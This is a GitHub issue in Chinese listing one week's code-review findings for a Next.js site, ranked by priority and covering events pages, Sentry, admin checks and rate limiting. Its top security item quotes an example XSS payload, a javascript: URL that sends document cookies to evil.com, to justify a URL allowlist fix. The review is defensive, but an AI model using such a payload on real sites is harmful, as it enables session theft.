Skip to content

本周代码 CR 发现的问题清单(2026-04-13 ~ 2026-04-17) #302

@longsizhuo

Description

@longsizhuo

Context

CR 覆盖本周 4 个大 PR + 若干 fix:

整体代码质量高,注释密度够,踩坑复盘到位。以下是扫出来的改进项,按优先级排。


🔴 P0 · 安全

[P0-1] events 页外链未做 URL scheme 白名单(XSS)

位置

  • app/events/[id]/page.tsx:149 speaker.profileUrl → <a href>
  • app/events/page.tsx:139 event.coverUrl → <img src>
  • app/events/[id]/page.tsx:113,142,188,205 同上 coverUrl / avatarUrl / playbackUrl / discordLink

风险:管理员或被篡改的后端数据若塞 javascript:fetch('//evil.com/steal?c='+document.cookie),用户点击后在本站 origin 执行 JS,可盗 satoken 冒充用户。

修复:复用 app/u/[username]/page.tsx:243sanitizeExternalUrl(白名单 http/https/mailto),或抽到 lib/url-safety.ts 共享。unsafe 时渲染为纯文本。


🟡 P1 · 体验/健壮性

[P1-1] InterestButton 静默吞异常

位置app/events/[id]/InterestButton.tsx:77

} catch {
  setInterested(prevInterested);
  setCount(prevCount);
}

点击失败时数字回滚但没任何错误反馈,用户以为按钮坏了。参考 SettingsForm 的 showToast 模式加 UI 提示。

[P1-2] Sentry 缺 PII 过滤 hook

位置sentry.client.config.ts / sentry.server.config.ts

目前没配 beforeSend,若 error 上下文带 satoken header / cookie / request body 会原样上报到 Sentry。免费 tier 5K errors/月容易撞配额,合规上也不好。

建议:

beforeSend(event) {
  if (event.request?.headers) {
    delete event.request.headers.satoken;
    delete event.request.headers.cookie;
    delete event.request.headers.authorization;
  }
  return event;
}

🟡 P2 · 改进

[P2-1] EventForm 未校验 endTime > startTime

位置app/admin/events/EventForm.tsx:38

提交前只 toIso,没校验时间逻辑,能填 endTime < startTime。前后端都加校验最稳妥。

[P2-2] Sentry server config 应该用 SENTRY_DSN 而非 NEXT_PUBLIC_SENTRY_DSN

位置sentry.server.config.ts:10sentry.edge.config.ts

NEXT_PUBLIC_ 前缀会打进客户端 bundle——client config 必须这样,但 server/edge 用私有 env 更干净。DSN 本身设计上可公开(类似 Stripe publishable key),只是没必要多暴露一份。

[P2-3] AdminGuard 权限判断依赖 seed 脚本

位置app/admin/events/AdminGuard.tsx:57

const passes = required === "superadmin"
  ? roles.includes("superadmin")
  : roles.includes("admin");

注释说 "superadmin 在 seed 里也会带 admin"——这依赖 seed 脚本不改。建议显式:

const passes = roles.includes(required) || roles.includes("superadmin");

🟢 P3 · 风格/重构

[P3-1] 全站 <img> 重复 eslint-disable

全站 unoptimized: true 导致所有原生 <img> 都要 // eslint-disable-next-line @next/next/no-img-element。events 页已经出现 6 次。抽成 <SafeImg> 组件(forwardRef,内部 eslint-disable)减少重复。

[P3-2] /events 和 /events/[id] 可以 Suspense 化

两个页面都在 await fetchEvents() 阻塞 HTML flush,和之前修 HotDocsPreview 同款问题。虽然有 revalidate: 300 缓存,但 cache miss 仍阻塞。影响不大可以缓做。

[P3-3] rate-limit.ts Redis 实例重复创建

位置lib/rate-limit.ts:36-54

三个 getChatLimiter / getChatImageLimiter / getDailyLimiter 各自调 getRedis(),会建 3 个 Redis 客户端。加一个 module-level cachedRedis 复用。影响极小(都是 HTTP)。


✅ 点赞(不用动)

  1. Rate-limit IP 防伪造 (lib/rate-limit.ts:109-123):x-real-ip 优先 + XFF 取最后一个 trusted proxy 值,避开 parts[0] 坑
  2. YouTube host 严格白名单 (app/events/[id]/page.tsx:260-268):精确匹配 + .youtube.com 子域,没踩 evilyoutube.com 的 endsWith 坑
  3. pgAdmin iframe 踩坑复盘 (app/admin/database/page.tsx:1-18):跨域 CSRF + 同源代理 host 重定向两种死法都写在注释里
  4. Sentry 按 runtime 分 config (instrumentation.ts):符合 Next.js 15 约定
  5. syncTokenCookie 的 Secure/Domain/SameSite 组合正确:localhost 不写 Domain,https 才加 Secure
  6. rate-limit warn 单例化 (hasWarnedMissingUpstash):不刷日志——Copilot CR 修出来的

📋 验证计划(待 owner 自己找时间做)

级别 条目 预估工作量
🔴 P0 P0-1 events 外链过滤 10 分钟(复用 sanitizeExternalUrl)
🟡 P1 P1-1 InterestButton 错误提示 10 分钟
🟡 P1 P1-2 Sentry beforeSend 5 分钟
🟡 P2 P2-1 EventForm 时间校验 5 分钟
🟡 P2 P2-2 Sentry DSN env 改名 2 分钟
🟡 P2 P2-3 AdminGuard 逻辑显式化 2 分钟
🟢 P3 P3-1 SafeImg 组件 20 分钟(repetitive)
🟢 P3 P3-2 events Suspense 15 分钟
🟢 P3 P3-3 Redis 单例 5 分钟

总工作量:~1.5 小时(不含 P0/P1 的回归测试)。

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions